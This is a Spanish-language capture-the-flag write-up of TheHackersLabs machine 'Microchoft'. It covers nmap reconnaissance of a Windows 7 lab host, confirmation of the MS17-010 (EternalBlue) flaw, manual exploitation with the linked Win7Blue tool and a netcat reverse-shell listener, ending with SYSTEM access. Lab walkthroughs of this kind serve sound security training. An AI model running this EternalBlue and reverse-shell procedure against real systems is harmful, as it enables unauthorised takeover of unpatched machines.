Reconocimiento

Comenzamos con un escaneo de puertos para descubrir los servicios accesibles desde la red. Para ello, usamos nmap con opciones que nos permiten obtener resultados detallados y eficientes:

1
sudo nmap -p- --open -sS -sCV --min-rate 5000 -Pn -n -oN microchoft.txt 192.168.100.5
2
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-11 13:55 -03
3
Nmap scan report for 192.168.100.5
4
Host is up (0.00098s latency).
5
Not shown: 60299 closed tcp ports (reset), 5227 filtered tcp ports (no-response)
6
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
7
PORT      STATE SERVICE      VERSION
8
135/tcp   open  msrpc        Microsoft Windows RPC
9
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
10
445/tcp   open  microsoft-ds Windows 7 Home Basic 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
11
49152/tcp open  msrpc        Microsoft Windows RPC
12
49153/tcp open  msrpc        Microsoft Windows RPC
13
49154/tcp open  msrpc        Microsoft Windows RPC
14
49155/tcp open  msrpc        Microsoft Windows RPC
15
49156/tcp open  msrpc        Microsoft Windows RPC
16
49157/tcp open  msrpc        Microsoft Windows RPC
17
MAC Address: 00:0C:29:6A:58:09 (VMware)
18
Service Info: Host: MICROCHOFT; OS: Windows; CPE: cpe:/o:microsoft:windows
19

20
Host script results:
21
| smb2-security-mode:
22
|   2:1:0:
23
|_    Message signing enabled but not required
24
| smb2-time:
25
|   date: 2025-07-11T16:56:49
26
|_  start_date: 2025-07-11T16:52:41
27
| smb-security-mode:
28
|   account_used: <blank>
29
|   authentication_level: user
30
|   challenge_response: supported
31
|_  message_signing: disabled (dangerous, but default)
32
|_clock-skew: mean: -40m01s, deviation: 1h09m16s, median: -1s
33
|_nbstat: NetBIOS name: MICROCHOFT, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:6a:58:09 (VMware)
34
| smb-os-discovery:
35
|   OS: Windows 7 Home Basic 7601 Service Pack 1 (Windows 7 Home Basic 6.1)
36
|   OS CPE: cpe:/o:microsoft:windows_7::sp1
37
|   Computer name: Microchoft
38
|   NetBIOS computer name: MICROCHOFT\x00
39
|   Workgroup: WORKGROUP\x00
40
|_  System time: 2025-07-11T18:56:49+02:00
41

42
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
43
Nmap done: 1 IP address (1 host up) scanned in 76.21 seconds

Detalles del comando:

-p-: Escaneo de todos los puertos.
--open: Muestra solo puertos abiertos.
-sS: Escaneo SYN para determinar el estado de los puertos.
-sCV: Usa scripts por defecto y detectar versiones de servicios.
--min-rate 5000: Establece un ritmo mínimo de escaneo.
-n: Desactiva la resolución DNS.
-Pn: Omite la detección de hosts activos.
-oN Escaneo: Guarda los resultados en el archivo “Escaneo”.

Puertos descubiertos:

135/tcp (MSRPC)
139/tcp (NetBIOS-SSN)
445/tcp (Microsoft-DS)
Se identifica el sistema como Windows 7 Home Basic SP1.

Comprobación de Vulnerabilidad

Detectando que el sistema operativo es Windows 7, verificamos si es vulnerable al fallo crítico MS17-010 (EternalBlue) utilizando el siguiente script de Nmap:

1
sudo nmap -p 445 --script smb-vuln-ms17-010 192.168.100.5
2
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-11 14:17 -03
3
Nmap scan report for 192.168.100.5
4
Host is up (0.00047s latency).
5

6
PORT    STATE SERVICE
7
445/tcp open  microsoft-ds
8
MAC Address: 00:0C:29:6A:58:09 (VMware)
9

10
Host script results:
11
| smb-vuln-ms17-010:
12
|   VULNERABLE:
13
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
14
|     State: VULNERABLE
15
|     IDs:  CVE:CVE-2017-0143
16
|     Risk factor: HIGH
17
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
18
|        servers (ms17-010).
19
|
20
|     Disclosure date: 2017-03-14
21
|     References:
22
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
23
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
24
|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
25

26
Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds

Resultado:

El escaneo confirma que el sistema es vulnerable a ejecución remota de código a través de SMBv1.

Vulnerabilidad: MS17-010
Estado: Vulnerable
CVE: CVE-2017-0143

Explotación

En lugar de utilizar Metasploit, recurrimos a la herramienta Win7Blue, una opción externa que permite explotar EternalBlue manualmente.

🔗 Link de la herramienta: https://github.com/d4t4s3c/Win7Blue

🛠️ Procedimiento:

Reconfirmamos la vulnerabilidad con el módulo scanner.

Determinamos la arquitectura del sistema con arch.

Ejecutamos el exploit de EternalBlue.

Primeramente debemos ponernos en modo escucha para establecer una shell inversa en Netcat:

1
nc -lvnp 4444

🔐 Fase 4 - Escalada de Privilegios

Ya dentro del sistema, revisamos los usuarios y comprobamos que tenemos acceso con permisos elevados:

1
whoami
2
net user

Obtenemos acceso como NT AUTHORITY\SYSTEM, lo que nos otorga control total del sistema.

🎉 ¡Root conseguido!

La máquina Microchoft fue comprometida con éxito mediante una explotación manual de EternalBlue sin hacer uso de Metasploit. Esta experiencia demuestra cómo es posible ejecutar un ataque completo utilizando herramientas independientes y técnicas más discretas.

Flag User

Flag Root

Hemos completado exitosamente la máquina Microchoft de TheHackersLabs.

The Hackers Labs: Microchoft